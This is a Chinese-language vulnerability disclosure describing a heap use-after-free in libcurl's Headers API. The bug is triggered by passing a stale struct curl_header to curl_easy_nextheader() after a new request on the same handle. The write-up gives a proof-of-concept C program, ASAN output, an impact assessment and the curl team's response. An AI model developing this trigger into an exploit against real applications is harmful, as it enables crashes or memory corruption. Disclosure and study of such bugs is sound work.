libcurl Headers API 释放后重利用漏洞:跨请求复用头句柄导致堆内存安全风险

libcurl 释放后重用漏洞分析

漏洞概述

curl_easy_nextheader() API 返回的 struct curl_header 对象内部引用了 libcurl 所拥有的链表节点。当在同一个 CURL* 句柄上执行新请求时,libcurl 会释放并重建内部头列表,但先前返回的 struct curl_header 对象在应用程序中仍然有效,并且仍可作为参数被接受。

将此类过期的 header 对象传回 curl_easy_nextheader() 会导致 libcurl 解引用已释放的内部指针,从而引发堆释放后重用安全问题。

这是一个可通过正常 API 使用方式触发的内存安全漏洞,且受攻击者控制的 HTTP 响应影响。

影响版本

所有包含 Headers API(curl_easy_header、curl_easy_nextheader)的 libcurl 版本。

在 Kali Linux libcurl(2026 年 1 月版本)上复现成功,可能影响所有当前受支持的版本。

涉及文件:lib/headers.c

技术分析

漏洞设计缺陷

curl_easy_nextheader() 向应用程序暴露 struct curl_header 结构体:

c 复制代码
struct curl_header {
    const char *name;
    const char *value;
    unsigned int amount;
    unsigned int index;
    unsigned int origin;
    void *anchor;   /* 内部 Curl_llist_node */
};

anchor 字段存储指向 libcurl 内部链表节点的指针:

c 复制代码
copy_header_external(..., struct Curl_llist_node *e, ...) {
    h->anchor = e;
}

当执行新请求时,libcurl 释放内部头列表:

c 复制代码
Curl_headers_cleanup(struct Curl_easy *data) {
    for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
        struct Curl_header_store *hs = Curl_node_elem(e);
        curlx_free(hs);
    }
}

然而,先前返回的 struct curl_header 对象在用户代码中仍然保留,并仍可被传回:

c 复制代码
curl_easy_nextheader(CURL *easy, unsigned int type, int request,
                     struct curl_header *prev)

该函数直接解引用:

c 复制代码
pick = prev->anchor;
pick = Curl_node_next(pick);

如果头列表已被释放并重建,prev->anchor 现在指向已释放的堆内存 → 触发释放后重用。

存在的问题

  • 无旧 struct curl_header 失效机制
  • 无代际追踪
  • 无生命周期强制约束
  • API 文档未说明 header 句柄在新请求后会失效

概念验证代码

c 复制代码
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl = curl_easy_init();
    if(!curl) return 1;

    struct curl_header *h = NULL;

    /* 第一次请求 */
    curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_perform(curl);

    /* 获取并存储一个 header */
    h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
    printf("saved header: %s: %s\n", h->name, h->value);

    /* 第二次请求(释放并重建内部头列表) */
    curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
    curl_easy_perform(curl);

    /* 复用过期的 header 句柄 */
    printf("calling nextheader with stale prev...\n");
    struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
    if(h2)
        printf("next header: %s: %s\n", h2->name, h2->value);

    curl_easy_cleanup(curl);
    return 0;
}

编译与运行

bash 复制代码
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc

ASAN 输出(节选)

vbnet 复制代码
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
    libcurl.so Curl_headers_cleanup
allocated by:
    libcurl.so Curl_headers_push

这确认了 curl_easy_nextheader() 解引用了已释放的内存。

安全影响

安全影响评估

恶意 HTTP 服务器可通过控制响应头,在使用 libcurl Headers API 且在同一个 CURL* 句柄上执行多个请求的应用程序中触发堆释放后重用。

可能导致:

  • 进程崩溃(拒绝服务)
  • 堆内存损坏
  • 根据分配器状态和周边内存布局,可能实现代码执行

漏洞特点:

  • 可通过公开 API 文档中的正常方式触达
  • 由攻击者控制的 HTTP 响应触发
  • 不需要中间人攻击

官方回应摘要

libcurl 团队认为此问题主要属于文档改进范畴,不视为安全漏洞。核心论点是:应用程序会在开发阶段立即崩溃,因此不会有实际部署的代码存在此问题。

官方已提交 PR 更新文档,说明指针在新传输后失效。该报告最终以"信息性"状态关闭,并已公开披露。 biOK/hzhVF2yKaGc5mK8oeejIYuUYW8I3RsXQCFCiXXHMxxsuKg0+t9iC0qHOQJ5

相关推荐
今年下半年3 分钟前
AI智能体项目实战记录(05):RAG项目实战之向量知识库milvus部署
人工智能·llm·milvus·rag
haluhalu.3 分钟前
深入理解 AI Agent(1.2):Harness 工程——模型之外的竞争力
前端·数据结构·人工智能·python·langchain·个人开发
fpcc8 分钟前
AI和大模型—矩阵相似
人工智能·线性代数·矩阵
data analyse 45610 分钟前
服务端统计时区切换的日期归并
大数据·前端·数据库·人工智能·数据分析
DongQiShanRen11 分钟前
六根硬件映射(下):物理闭环五步法,抽一条已实装的看
大数据·jvm·人工智能·算法·rust·哈希算法·集成学习
鸿翼Macrowing16 分钟前
鸿翼入选 2026 年上海市 “AI + 制造” 服务商能力图谱
人工智能·制造·opencontent ai·ai+制造
墨子夕17 分钟前
创新的潮汐——从科学发现到资本周期的百年规律(第三卷)
人工智能·其他·周期
尘一不染18 分钟前
多模型 API 接入实战(一):从一次 HTTP 请求到可维护的适配层
网络·人工智能·网络协议·http
szxinmai主板定制专家28 分钟前
ZYNQ PL+PS 架构拆解|工业自动化与电力物联网高速数据采集、预处理与协议上云
arm开发·人工智能·物联网·fpga开发·数据采集卡·rk3576
禁默29 分钟前
从“动作社区“到“技能商店“:机器人应用生态走到哪一步了
人工智能·机器人